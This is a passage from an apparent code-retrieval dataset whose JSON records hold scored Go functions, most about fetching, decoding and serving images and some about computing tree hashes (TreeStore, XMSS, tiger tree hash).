*http.Request, _ httprouter.Params) {\n\t//create a structure to save image code\n\tvar img test_struct\n\t//decode JSON and save it in structure\n\tjson.NewDecoder(req.Body).Decode(&img)\n\t//get position of redundant substring => data:image/png;base64\n\tposition := strings.Index(img.Test, \",\")\n\t//if error, wrong image code format\n\tif position == -1 {\n\t\tfmt.Println(\"no match\")\n\t}\n\t//remove the first part of image code => data:image/png;base64 \n\treader := base64.NewDecoder(base64.StdEncoding, bytes.NewBufferString(img.Test[position+1:]))\n\t//read data into variable\n\tdata, err := ioutil.ReadAll(reader)\n\t//error if not able to read data\n\tif err != nil {\n\t\t//empty\n\t}\n\t//save image to server\n\tioutil.WriteFile(\"./image.png\", data, 0644)\n\n\t//function to send image to the user via email\n\tsendImage()\n\n\t//encode success message to JSON format\n\tencoded, err := json.Marshal(\"success\")\n\t//send success message to the front end\n\temailSend, errSend := rw.Write(encoded)\n\t//if not encoded, throw error (this will be read on the front end)\n\tif errSend != nil {\n\t\tpanic(errSend)\n\t}\n\n\tfmt.Println(emailSend)\n}", "title": "" }, { "docid": "8ece41a22ab55d1c692c3a4e1cad019a", "score": "0.5954718", "text": "func (client *ImageToImageClient) ConvertUrl(url string) ([]byte, error) {\n re, _ := regexp.Compile(\"(?i)^https?://.*$\")\n if !re.MatchString(url) {\n return nil, Error{createInvalidValueMessage(url, \"url\", \"image-to-image\", \"The supported protocols are http:// and https://.\", \"convert_url\"), 470}\n }\n \n client.fields[\"url\"] = url\n return client.helper.post(client.fields, client.files, client.rawData, nil)\n}", "title": "" }, { "docid": "6989b759ef88a0932cac9d4a2ce1c989", "score": "0.5952628", "text": "func GetImageRef(req authorization.Request) string {\n\n\tvar config container.Config\n\terr := json.Unmarshal(req.RequestBody, &config)\n\tif err != nil {\n\t\tlog.Printf(\"Unable to unmarshal request - %v\", err)\n\t}\n\treturn config.Image\n}", "title": "" }, { "docid": "7b0181d5b797a36f74f6bdafeea0f477", "score": "0.5950506", "text": "func GetSatelliteImage(point common.Point, zoom int, key string) image.Image {\n\turl := fmt.Sprintf(URL, point.Y, point.X, zoom, key)\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tif resp.StatusCode != 200 || resp.Header.Get(\"Content-Type\") != \"image/png\" {\n\t\tvar errdesc string\n\t\tif resp.Header.Get(\"Content-Type\") != \"image/png\" {\n\t\t\tif bytes, err := ioutil.ReadAll(resp.Body); err == nil {\n\t\t\t\terrdesc = string(bytes)\n\t\t\t}\n\t\t}\n\t\tif resp.StatusCode == 500 {\n\t\t\tfmt.Printf(\"warning: got 500 (errdesc=%s) on %s (retrying later)\\n\", errdesc, url)\n\t\t\ttime.Sleep(time.Minute)\n\t\t\treturn GetSatelliteImage(point, zoom, key)\n\t\t} else {\n\t\t\tpanic(fmt.Errorf(\"got status code %d (errdesc=%s)\", resp.StatusCode, errdesc))\n\t\t}\n\t}\n\timBytes, err := ioutil.ReadAll(resp.Body)\n\tresp.Body.Close()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tim, err := png.Decode(bytes.NewReader(imBytes))\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// crop out logo\n\tcropped := image.NewRGBA(image.Rect(0, 0, 512, 512))\n\tfor i := 0; i < 512; i++ {\n\t\tfor j := 0; j < 512; j++ {\n\t\t\tcropped.Set(i, j, im.At(i + 32, j + 32))\n\t\t}\n\t}\n\n\treturn cropped\n}", "title": "" }, { "docid": "d82e1bd46c9d6ca3011c959cee60248e", "score": "0.5945081", "text": "func GetImage(connectionName string, rsType string, nameID string) (*cres.ImageInfo, error) {\n\tcblog.Info(\"call GetImage()\")\n\n\t// check empty and trim user inputs\n\tconnectionName, err := EmptyCheckAndTrim(\"connectionName\", connectionName)\n\tif err != nil {\n\t\tcblog.Error(err)\n return nil, err\n }\n\n\tnameID, err = EmptyCheckAndTrim(\"nameID\", nameID)\n\tif err != nil {\n\t\tcblog.Error(err)\n return nil, err\n }\n\n\tcldConn, err := ccm.GetCloudConnection(connectionName)\n\tif err != nil {\n\t\tcblog.Error(err)\n\t\treturn nil, err\n\t}\n\n\thandler, err := cldConn.CreateImageHandler()\n\tif err != nil {\n\t\tcblog.Error(err)\n\t\treturn nil, err\n\t}\n\n\t// now, NameID = SystemID\n\tinfo, err := handler.GetImage(cres.IID{nameID, nameID})\n\tif err != nil {\n\t\tcblog.Error(err)\n\t\treturn nil, err\n\t}\n\n\treturn &info, nil\n}", "title": "" }, { "docid": "caf93791565c876effd1b6194bb2b601", "score": "0.5937189", "text": "func (c *CollectionSDK) Image(id string, img []byte, result interface{}, tags ...Tag) {\n\tdata, err := json.Marshal(result)\n\tif err != nil {\n\t\tlogrus.Debug(\"marshal failed, err: \", err)\n\t\treturn\n\t}\n\tts := make([]*api.Tag, len(c.tags)+len(tags))\n\tfor _, t := range append(c.tags, tags...) {\n\t\tts = append(ts, &api.Tag{\n\t\t\tKey: t.K,\n\t\t\tVal: t.V,\n\t\t})\n\t}\n\tselect {\n\tcase c.imgCh <- &api.ImageReport{Id: id, Img: img, Result: data, Tags: ts}:\n\tdefault:\n\t}\n}", "title": "" }, { "docid": "2468efca4ce69830238ccd9786f71da6", "score": "0.59352386", "text": "func downloadUrl(url string) image.Image {\n\tres, err := http.Get(url)\n\toutput.OnError(err, \"Request error\")\n\tdefer res.Body.Close()\n\n\tif res.StatusCode != 200 {\n\t\toutput.Error(\"Could not access URL\")\n\t}\n\n\treturn decode(res.Body)\n}", "title": "" }, { "docid": "e497b62d1cf44e1c585f5f1ea1abdd91", "score": "0.59197694", "text": "func (o BuildArtifactOutput) Image() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v BuildArtifact) *string { return v.Image }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "e9e1c0d9b3204de3439d82e212f87b7c", "score": "0.5913724", "text": "func HandleImage(w http.ResponseWriter, r *http.Request) {\n\n\t// Get Access token and client-ID\n\t_, token, client := CheckEnv()\n\n\t// Split the url by the '/'\n\tparts := strings.Split(r.URL.Path, \"/\")\n\n\t// Make switch on method\n\tswitch r.Method {\n\n\t// If the method is POST\n\tcase \"POST\":\n\n\t\t// Handle POST\n\t\tImagePOST(token, r, w)\n\n\t// If the method is GET\n\tcase \"GET\":\n\n\t\t// Handle GET\n\t\tImageGET(parts, client, r, w)\n\n\t// If the method is DELETE\n\tcase \"DELETE\":\n\n\t\t// Handle DELETE\n\t\tImageDELETE(parts, token, r, w)\n\n\t// If the method is neither of the above\n\tdefault:\n\n\t\t// Give info about how to navigate images\n\t\tfmt.Fprintln(w, \"Path: root/image/\\n\\nTo POST an image:\\troot/image/\\nTo GET an image:\\troot/image/{{imageHash}}\\nTo DELETE an image:\\troot/image/{{imageDeleteHash}}\")\n\t}\n\n}", "title": "" }, { "docid": "8d90d7d08b78c9fb07f455819daf42ad", "score": "0.59124005", "text": "func ImageURL(app *unstructured.Unstructured) (string, error) {\n\timageURL, _, err := unstructured.NestedString(app.UnstructuredContent(), \"spec\", \"imageurl\")\n\tif err != nil {\n\t\treturn \"\", errors.New(\"imageurl should be string\")\n\t}\n\n\treturn imageURL, nil\n}", "title": "" }, { "docid": "c07e1cdedb98eb1c54f02ec050372ff5", "score": "0.59122115", "text": "func (pi ProfileImage) Image() *os.File {\n\tresp, err := http.Get(PROFILE_IMAGE_BASE_URL)\n\tif err != nil {\n\t\tlog.Println(\"Error while requesting\", PROFILE_IMAGE_BASE_URL, \":\", err)\n\t}\n\n\tdefer resp.Body.Close()\n\n\tf, err := ioutil.TempFile(os.TempDir(), \"profil-picture-img-*.jfif\")\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tio.Copy(f, resp.Body)\n\treturn f\n}", "title": "" }, { "docid": "d91a922ae046f5eb19f5de36ee8432e2", "score": "0.5908694", "text": "func DownloadImage(id uint64, url string) (string, error) {\n\tif _, err := os.Stat(ImgDir); os.IsNotExist(err) {\n\t\tif err := os.MkdirAll(ImgDir, 0755); err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t}\n\n\tres, err := http.Get(url)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer res.Body.Close()\n\tif _, err := os.Stat(ImgDir); os.IsNotExist(err) {\n\t\tif err := os.Mkdir(ImgDir, 0777); err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t}\n\tfilename := filepath.Join(ImgDir, fmt.Sprintf(\"%d\", id))\n\tswitch res.Header.Get(\"Content-Type\") {\n\tcase \"image/gif\":\n\t\tfilename += \".gif\"\n\tcase \"image/pjpeg\":\n\t\tfallthrough\n\tcase \"image/jpeg\":\n\t\tfilename += \".jpg\"\n\tcase \"image/png\":\n\t\tfilename += \".png\"\n\t}\n\timage, err := os.Create(filename)\n\tdefer image.Close()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tif _, err := io.Copy(image, res.Body); err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn filename, nil\n}", "title": "" }, { "docid": "d91a922ae046f5eb19f5de36ee8432e2", "score": "0.5908694", "text": "func DownloadImage(id uint64, url string) (string, error) {\n\tif _, err := os.Stat(ImgDir); os.IsNotExist(err) {\n\t\tif err := os.MkdirAll(ImgDir, 0755); err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t}\n\n\tres, err := http.Get(url)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer res.Body.Close()\n\tif _, err := os.Stat(ImgDir); os.IsNotExist(err) {\n\t\tif err := os.Mkdir(ImgDir, 0777); err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t}\n\tfilename := filepath.Join(ImgDir, fmt.Sprintf(\"%d\", id))\n\tswitch res.Header.Get(\"Content-Type\") {\n\tcase \"image/gif\":\n\t\tfilename += \".gif\"\n\tcase \"image/pjpeg\":\n\t\tfallthrough\n\tcase \"image/jpeg\":\n\t\tfilename += \".jpg\"\n\tcase \"image/png\":\n\t\tfilename += \".png\"\n\t}\n\timage, err := os.Create(filename)\n\tdefer image.Close()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tif _, err := io.Copy(image, res.Body); err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn filename, nil\n}", "title": "" }, { "docid": "3333724679397e2d0325764f782de58d", "score": "0.5900403", "text": "func (gp *Fpdf) ImageByURL(url string, x float64, y float64, rect Rect) error {\n\tgp.UnitsToPointsVar(&x, &y)\n\trect = rect.UnitsToPoints(gp.curr.unit)\n\n\timgh, err := newImageBuffByURL(url)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn gp.imageByHolder(imgh, x, y, rect)\n}", "title": "" }, { "docid": "761d609517b9460d2b9a3a7736cce07e", "score": "0.5893382", "text": "func getImgFromUrl(w http.ResponseWriter, r *http.Request, turl string) (img string) {\n\tz, err := url.Parse(turl)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\t//path := z.Path\n\tm, _ := url.ParseQuery(z.RawQuery)\n\tif _, ok := m[\"IMG_URL\"]; ok {\n\t\t//do something here\n\t\timg = m[\"IMG_URL\"][0]\n\t}\n\treturn img\n}", "title": "" }, { "docid": "156c2c086a8888f52729529c4d4ad27d", "score": "0.5888754", "text": "func getImageURL(dayMenuURL string) *string {\n\turl, _ := url.Parse(dayMenuURL)\n\tdomain := url.Host\n\tfmt.Println(\"Allowed Domain:\", domain)\n\tvar imageURL string\n\n\tc := colly.NewCollector(\n\t\t// Restrict crawling to specific domains\n\t\tcolly.AllowedDomains(domain),\n\t\t// Allow visiting the same page multiple times\n\t\tcolly.AllowURLRevisit(),\n\t\t// Allow crawling to be done in parallel / async\n\t\tcolly.Async(false),\n\t)\n\tc.Limit(&colly.LimitRule{\n\t\t// Filter domains affected by this rule\n\t\tDomainGlob: domain + \"/*\",\n\t\t// Set a delay between requests to these domains\n\t\tDelay: 1 * time.Second,\n\t\t// Add an additional random delay\n\t\tRandomDelay: 1 * time.Second,\n\t})\n\n\tc.OnHTML(\".post_image\", func(e *colly.HTMLElement) {\n\t\t// Extract the link from the anchor HTML element\n\t\timageURL = e.ChildAttr(\"img\", \"src\")\n\t})\n\tc.Visit(dayMenuURL)\n\n\tfmt.Println(\"The image is: \", imageURL)\n\treturn &imageURL\n}", "title": "" }, { "docid": "d49aa2a825710201795bd68ba3ebb02a", "score": "0.58884096", "text": "func (c *Client) ExportImage(opts ExportImageOptions) error {\n\treturn c.stream(http.MethodGet, fmt.Sprintf(\"/images/%s/get\", opts.Name), streamOptions{\n\t\tsetRawTerminal: true,\n\t\tstdout: opts.OutputStream,\n\t\tinactivityTimeout: opts.InactivityTimeout,\n\t\tcontext: opts.Context,\n\t})\n}", "title": "" }, { "docid": "54e6b371d50548051a3c7ee1dda4a2f3", "score": "0.5866241", "text": "func (me *IMAGING_IMPL) ImageWatermark (\r\n imageUrl string,\r\n watermarkUrl string,\r\n opacity *int64,\r\n format *string,\r\n position *string,\r\n width *int64,\r\n height *int64) ([]byte, error) {\r\n //the endpoint path uri\r\n _pathUrl := \"/image-watermark\"\r\n\r\n //variable to hold errors\r\n var err error = nil\r\n //the base uri for api requests\r\n _queryBuilder := configuration_pkg.GetBaseURI(configuration_pkg.ENUM_DEFAULT,me.config);\r\n\r\n //prepare query string for API call\r\n _queryBuilder = _queryBuilder + _pathUrl\r\n\r\n //process optional query parameters\r\n _queryBuilder, err = apihelper_pkg.AppendUrlWithQueryParameters(_queryBuilder, map[string]interface{} {\r\n \"user-id\" : neutrinoapi_lib.config.UserId,\r\n \"api-key\" : neutrinoapi_lib.config.ApiKey,\r\n })\r\n if err != nil {\r\n //error in query param handling\r\n return nil, err\r\n }\r\n\r\n //validate and preprocess url\r\n _queryBuilder, err = apihelper_pkg.CleanUrl(_queryBuilder)\r\n if err != nil {\r\n //error in url validation or cleaning\r\n return nil, err\r\n }\r\n //prepare headers for the outgoing request\r\n headers := map[string]interface{} {\r\n \"user-agent\" : \"APIMATIC 2.0\",\r\n }\r\n\r\n //form parameters\r\n parameters := map[string]interface{} {\r\n\r\n \"image-url\" : imageUrl,\r\n \"watermark-url\" : watermarkUrl,\r\n \"opacity\" : apihelper_pkg.ToString(*opacity, \"50\"),\r\n \"format\" : apihelper_pkg.ToString(*format, \"png\"),\r\n \"position\" : apihelper_pkg.ToString(*position, \"center\"),\r\n \"width\" : width,\r\n \"height\" : height,\r\n\r\n }\r\n\r\n\r\n //prepare API request\r\n _request := unirest.Post(_queryBuilder, headers, parameters)\r\n //and invoke the API call request to fetch the response\r\n _response, err := unirest.AsString(_request,false);\r\n if err != nil {\r\n //error in API invocation\r\n return nil, err\r\n }\r\n\r\n //error handling using HTTP status codes\r\n if (_response.Code == 400) {\r\n err = apihelper_pkg.NewAPIError(\"Your API request has been rejected. Check error code for details\", _response.Code, _response.RawBody)\r\n } else if (_response.Code == 403) {\r\n err = apihelper_pkg.NewAPIError(\"You have failed to authenticate\", _response.Code, _response.RawBody)\r\n } else if (_response.Code == 500) {\r\n err = apihelper_pkg.NewAPIError(\"We messed up, sorry! Your request has caused a fatal exception\", _response.Code, _response.RawBody)\r\n } else if (_response.Code == 0) {\r\n err = apihelper_pkg.NewAPIError(\"We messed up, sorry! Your request has caused an error\", _response.Code, _response.RawBody)\r\n } else if (_response.Code < 200) || (_response.Code > 206) { //[200,206] = HTTP OK\r\n err = apihelper_pkg.NewAPIError(\"HTTP Response Not OK\", _response.Code, _response.RawBody)\r\n }\r\n if(err != nil) {\r\n //error detected in status code validation\r\n return nil, err\r\n }\r\n\r\n //returning the response\r\n return _response.RawBody, nil\r\n\r\n}", "title": "" }, { "docid": "88f7275e7c16ad752da27a93a7350e5f", "score": "0.58595014", "text": "func (o HorreumSpecKeycloakPtrOutput) Image() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *HorreumSpecKeycloak) *string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.Image\n\t}).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "1b5f2b7546f537270f1eaa27a73b5b87", "score": "0.58563095", "text": "func (o ContainerResponseOutput) Image() pulumi.StringOutput {\n\treturn o.ApplyT(func(v ContainerResponse) string { return v.Image }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "a682a79f9dce221de8f6c6ec97b5891b", "score": "0.5847619", "text": "func (s *ImagesServiceOp) get(ctx context.Context, ID interface{}) (*Image, *Response, error) {\n\tpath := fmt.Sprintf(\"%s/%v\", imageBasePath, ID)\n\n\treq, err := s.client.NewRequest(ctx, http.MethodGet, path, nil)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\troot := new(imageRoot)\n\tresp, err := s.client.Do(ctx, req, root)\n\tif err != nil {\n\t\treturn nil, resp, err\n\t}\n\n\treturn root.Image, resp, err\n}", "title": "" }, { "docid": "c27720cbbc5659808fb83c2f9b2fd2c1", "score": "0.58432984", "text": "func (o HyperfoilSpecOutput) Image() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v HyperfoilSpec) *string { return v.Image }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "414d17c409fde5f338f354a569a79513", "score": "0.58388585", "text": "func LookupImage(ctx *pulumi.Context, args *GetImageArgs) (*GetImageResult, error) {\n\tinputs := make(map[string]interface{})\n\tif args != nil {\n\t\tinputs[\"name\"] = args.Name\n\t\tinputs[\"slug\"] = args.Slug\n\t}\n\toutputs, err := ctx.Invoke(\"do:core/getImage:getImage\", inputs)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &GetImageResult{\n\t\tDistribution: outputs[\"distribution\"],\n\t\tImage: outputs[\"image\"],\n\t\tMinDiskSize: outputs[\"minDiskSize\"],\n\t\tPrivate: outputs[\"private\"],\n\t\tRegions: outputs[\"regions\"],\n\t\tType: outputs[\"type\"],\n\t\tId: outputs[\"id\"],\n\t}, nil\n}", "title": "" }, { "docid": "3f741d00b74096c9c8779908a9840f27", "score": "0.5838375", "text": "func HandleGetImageDetail(request *restful.Request, response *restful.Response) {\n\tlog.Printf(\"call HandleGetImageDetail\")\n\trequestRaw := new(model.RequestImageDetail)\n\trequestRaw.ProjectName = request.PathParameter(\"project\")\n\trequestRaw.ImageName = request.PathParameter(\"name\")\n\trequestRaw.Tag = request.QueryParameter(\"tag\")\n\n\tresult, err := images.GetImageDetail(requestRaw)\n\tif err != nil {\n\t\thandleInternalError(response, err)\n\t\treturn\n\t}\n\tresponse.WriteHeaderAndEntity(http.StatusOK, result)\n}", "title": "" }, { "docid": "43c68bad68dfcdf972ee88f21df61833", "score": "0.58373874", "text": "func GetPNG(rawurl string) (image.Image, error) {\n\tresp, err := Get(rawurl)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer resp.Body.Close()\n\n\treturn DecodePNG(resp.Body)\n}", "title": "" }, { "docid": "0abbcd8882312e73f584993fd9a8ed10", "score": "0.5819705", "text": "func (ui *Plot) GetImage(width, height int) (image.Image, error) {\n\tim, _, err := ui.image(width, height)\n\treturn im, err\n}", "title": "" }, { "docid": "fe536f371269d439a2cd977959e9c8d0", "score": "0.5816944", "text": "func (rp *ReviewParser) getImage(topArea *goquery.Selection) string {\n\timage, _ := topArea.Find(\"table td:nth-of-type(1)\").Find(\"img\").Attr(\"src\")\n\treturn utils.URLCleaner(image, \"image\", rp.Config.CleanImageURL)\n}", "title": "" }, { "docid": "822fde87f60632dcb465de668e4e0852", "score": "0.58165354", "text": "func (f *Frinkomatic) ImageURL(frame Frame, text string) string {\n\n\tparam := \"\"\n\tif len(text) > 0 {\n\t\tbase64Text := base64.StdEncoding.EncodeToString([]byte(text))\n\t\tparam = fmt.Sprintf(\"?b64lines=%v\", base64Text)\n\t}\n\n\treturn fmt.Sprintf(\"%v/meme/%v/%v.jpg%v\", f.BaseURL, frame.Episode, frame.Timestamp, param)\n}", "title": "" } ]
73b0e99c2f3ce4046f97939e4ad8f10a
TreeStore calculates an hash of the rendered ACI. It uses the same functions used to create a tar but instead of writing the full archive is just computes the sha512 sum of the file infos and contents.
[ { "docid": "24a5832efa0dbfaeacf18e673c5a2bb5", "score": "0.64781994", "text": "func (ts *TreeStore) Hash(key string) (string, error) {\n\ttreepath := filepath.Join(ts.path, key)\n\n\thash := sha512.New()\n\tiw := NewHashWriter(hash)\n\terr := filepath.Walk(treepath, buildWalker(treepath, iw))\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"treestore: error walking rootfs: %v\", err)\n\t}\n\n\thashstring := hashToKey(hash)\n\n\treturn hashstring, nil\n}", "title": "" } ]
[ { "docid": "6c0b60261d8115eef5c0636c3b4183b0", "score": "0.61481285", "text": "func (ts *TreeStore) Write(key string, s *Store) error {\n\ttreepath := filepath.Join(ts.path, key)\n\tfi, _ := os.Stat(treepath)\n\tif fi != nil {\n\t\treturn fmt.Errorf(\"treestore: path %s already exists\", treepath)\n\t}\n\timageID, err := types.NewHash(key)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"treestore: cannot convert key to imageID: %v\", err)\n\t}\n\tif err := os.MkdirAll(treepath, 0755); err != nil {\n\t\treturn fmt.Errorf(\"treestore: cannot create treestore directory %s: %v\", treepath, err)\n\t}\n\terr = aci.RenderACIWithImageID(*imageID, treepath, s)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"treestore: cannot render aci: %v\", err)\n\t}\n\thash, err := ts.Hash(key)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"treestore: cannot calculate tree hash: %v\", err)\n\t}\n\terr = ioutil.WriteFile(filepath.Join(treepath, hashfilename), []byte(hash), 0644)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"treestore: cannot write hash file: %v\", err)\n\t}\n\t// before creating the \"rendered\" flag file we need to ensure that all data is fsynced\n\tdfd, err := syscall.Open(treepath, syscall.O_RDONLY, 0)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer syscall.Close(dfd)\n\tif err := sys.Syncfs(dfd); err != nil {\n\t\treturn fmt.Errorf(\"treestore: failed to sync data: %v\", err)\n\t}\n\t// Create rendered file\n\tf, err := os.Create(filepath.Join(treepath, renderedfilename))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"treestore: failed to write rendered file: %v\", err)\n\t}\n\tf.Close()\n\n\tif err := syscall.Fsync(dfd); err != nil {\n\t\treturn fmt.Errorf(\"treestore: failed to sync tree store directory: %v\", err)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "737e3e0f940d99e390d45ac91ef4b7a9", "score": "0.58996916", "text": "func HashAll(root string) (map[string][sha512.Size]byte, error) {\n\tdone := make(chan struct{})\n\tdefer close(done)\n\n\tpaths, errc := walkFiles(done, root)\n\n\tc := make(chan result)\n\tvar wg sync.WaitGroup\n\t// Use two times the number of available os threads.\n\tnumDigesters := runtime.GOMAXPROCS(-1) * 2\n\twg.Add(numDigesters)\n\tfor i := 0; i < numDigesters; i++ {\n\t\tgo func() {\n\t\t\tdigester(done, paths, c)\n\t\t\twg.Done()\n\t\t}()\n\t}\n\tgo func() {\n\t\twg.Wait()\n\t\tclose(c)\n\t}()\n\n\tm := make(map[string][sha512.Size]byte)\n\tfor r := range c {\n\t\tif r.err != nil {\n\t\t\treturn nil, r.err\n\t\t}\n\t\tm[r.path] = r.sum\n\t}\n\t// Check whether the Walk failed.\n\tif err := <-errc; err != nil {\n\t\treturn nil, err\n\t}\n\treturn m, nil\n}", "title": "" }, { "docid": "0552a15a1edeca3d5dea17b903e5c1f2", "score": "0.5760216", "text": "func TestTree_hash(t *testing.T) {\n\t// MD5\n\thashFuncMd5 := md5.New()\n\tdoctree := NewDocumentTree(TreeOptions{Hash: hashFuncMd5, GetSalt: NewSaltForTest})\n\terr := doctree.AddLeavesFromDocument(&documentspb.LongDocumentExample)\n\tassert.Nil(t, err)\n\terr = doctree.Generate()\n\tassert.Nil(t, err)\n\n\texpectedRootHash := []byte{0x97, 0x6d, 0xb8, 0x98, 0x81, 0x19, 0x3f, 0x7f, 0x79, 0xb3, 0x60, 0xfc, 0x77, 0x64, 0x31, 0xd9}\n\tassert.Equal(t, expectedRootHash, doctree.rootHash)\n\n\t// No hash func set\n\tdoctreeNoHash := NewDocumentTree(TreeOptions{GetSalt: NewSaltForTest})\n\terr = doctreeNoHash.AddLeavesFromDocument(&documentspb.LongDocumentExample)\n\tassert.NotNil(t, err)\n\tassert.EqualError(t, err, \"hash is not set\")\n\n\t// SHA256\n\tdoctreeSha256 := NewDocumentTree(TreeOptions{Hash: sha256Hash, GetSalt: NewSaltForTest})\n\terr = doctreeSha256.AddLeavesFromDocument(&documentspb.LongDocumentExample)\n\tassert.Nil(t, err)\n\terr = doctreeSha256.Generate()\n\texpectedRootHash = []byte{0xcf, 0x1, 0x81, 0xa8, 0xdc, 0x9b, 0xa3, 0x16, 0x97, 0xe3, 0x39, 0x6b, 0xa8, 0xfd, 0x12, 0xaf, 0x50, 0x4b, 0x51, 0x60, 0x93, 0xa5, 0xa9, 0x44, 0xd7, 0x8a, 0x69, 0x60, 0xc9, 0xe0, 0x32, 0x5b}\n\tassert.Equal(t, expectedRootHash, doctreeSha256.rootHash)\n}", "title": "" }, { "docid": "41693ccf3895e76f8db7d5c0505e27ec", "score": "0.57535815", "text": "func treehash(params *Params, root, authPath, prvSeed, pubSeed []byte, leafIdx uint32, subtreeA address) {\n\tstack := make([]byte, int(params.treeHeight+1)*params.n)\n\theights := make([]uint32, params.treeHeight+1)\n\toffset := uint32(0)\n\tn := uint32(params.n)\n\n\tvar otsA, ltreeA, nodeA address\n\tvar treeIdx uint32\n\n\totsA.copySubtreeAddr(subtreeA)\n\tltreeA.copySubtreeAddr(subtreeA)\n\tnodeA.copySubtreeAddr(subtreeA)\n\n\totsA.setType(xmssAddrTypeOTS)\n\tltreeA.setType(xmssAddrTypeLTREE)\n\tnodeA.setType(xmssAddrTypeHASHTREE)\n\n\tfor i := uint32(0); i < uint32(1<<params.treeHeight); i++ {\n\t\t// Add the next leaf node to the stack.\n\t\tltreeA.setLTreeAddr(i)\n\t\totsA.setOTSAddr(i)\n\t\tgenerateLeafWOTS(params, stack[offset*n:offset*n+n], prvSeed, pubSeed, &ltreeA, &otsA)\n\t\theights[offset] = 0\n\n\t\t// If this is a node we need for the auth path..\n\t\tif (leafIdx ^ 1) == i {\n\t\t\tcopy(authPath[:n], stack[offset*n:offset*n+n])\n\t\t}\n\t\toffset++\n\n\t\t// While the top-most nodes are of equal height..\n\t\tfor offset >= 2 && (heights[offset-1] == heights[offset-2]) {\n\t\t\t// Compute index of the new node, in the next layer.\n\t\t\ttreeIdx = (i >> (heights[offset-1] + 1))\n\n\t\t\t// Hash the top-most nodes from the stack together\n\t\t\t// Note that tree height is the 'lower' layer, even though we use\n\t\t\t// the index of the new node on the 'higher' layer. This follows\n\t\t\t// from the fact that we address the hash function calls.\n\t\t\tnodeA.setTreeHeight(heights[offset-1])\n\t\t\tnodeA.setTreeIndex(treeIdx)\n\t\t\tstackIdx := (offset - 2) * n\n\t\t\thashH(params, stack[stackIdx:stackIdx+n], pubSeed, stack[stackIdx:stackIdx+2*n], &nodeA)\n\n\t\t\toffset--\n\t\t\t// Note that the top-most node is now one layer higher\n\t\t\theights[offset-1]++\n\n\t\t\tif ((leafIdx >> heights[offset-1]) ^ 1) == treeIdx {\n\t\t\t\tauthIdx := heights[offset-1] * n\n\t\t\t\tstackIdx = (offset - 1) * n\n\t\t\t\tcopy(authPath[authIdx:authIdx+n], stack[stackIdx:stackIdx+n])\n\t\t\t}\n\t\t}\n\t}\n\n\tcopy(root, stack[:n])\n}", "title": "" }, { "docid": "72246555f9100f24974e06a4bde6468f", "score": "0.57270384", "text": "func (tree *MutableTree) Hash() ([]byte, error) {\n\treturn tree.lastSaved.Hash()\n}", "title": "" }, { "docid": "7725daee370dd2fdb27bfbdccc89bcda", "score": "0.569036", "text": "func main() {\n\tif len(os.Args) != 2 {\n\t\tfmt.Printf(\"Expected exactly one argument, path of directory to digest\")\n\t\tos.Exit(1)\n\t}\n\trootDir := os.Args[1]\n\th := sha256.New()\n\terr := filepath.Walk(rootDir+\"/\", func(path string, info os.FileInfo, err error) error {\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tn, err := h.Write([]byte(path))\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif n != len([]byte(path)) {\n\t\t\treturn xerrors.Errorf(\"did not write full filename %s to hash, wrote %d bytes, path has %d bytes\", path, n, len([]byte(path)))\n\t\t}\n\t\treturn nil\n\t})\n\tif err != nil {\n\t\tfmt.Printf(\"Error: %s\\n\", err)\n\t\tos.Exit(1)\n\t}\n\tfmt.Printf(\"- %x\\n\", h.Sum(nil))\n}", "title": "" }, { "docid": "39cba2e617d6d4495389be97ccbf0495", "score": "0.5671443", "text": "func TreeHash(r io.Reader) (root Hash, err error) {\n\tvar (\n\t\tn int\n\t\tlvl []Hash\n\t)\n\tbuf := make([]byte, tthBlock+1)\n\tfor err != io.EOF {\n\t\tn, err = r.Read(buf[1:])\n\t\tif err != nil && err != io.EOF {\n\t\t\treturn\n\t\t}\n\t\tif n == 0 && len(lvl) > 0 {\n\t\t\tbreak\n\t\t}\n\t\tbuf[0] = 0x00\n\t\tlvl = append(lvl, HashBytes(buf[:n+1]))\n\t}\n\terr = nil\n\tbuf = make([]byte, 2*Size+1)\n\tfor len(lvl) > 1 {\n\t\tfor i := 0; i < len(lvl); i += 2 {\n\t\t\tif i+1 >= len(lvl) {\n\t\t\t\tlvl[i/2] = lvl[i]\n\t\t\t} else {\n\t\t\t\tbuf[0] = 0x01\n\t\t\t\tcopy(buf[1:], lvl[i][:])\n\t\t\t\tcopy(buf[1+Size:], lvl[i+1][:])\n\t\t\t\tlvl[i/2] = 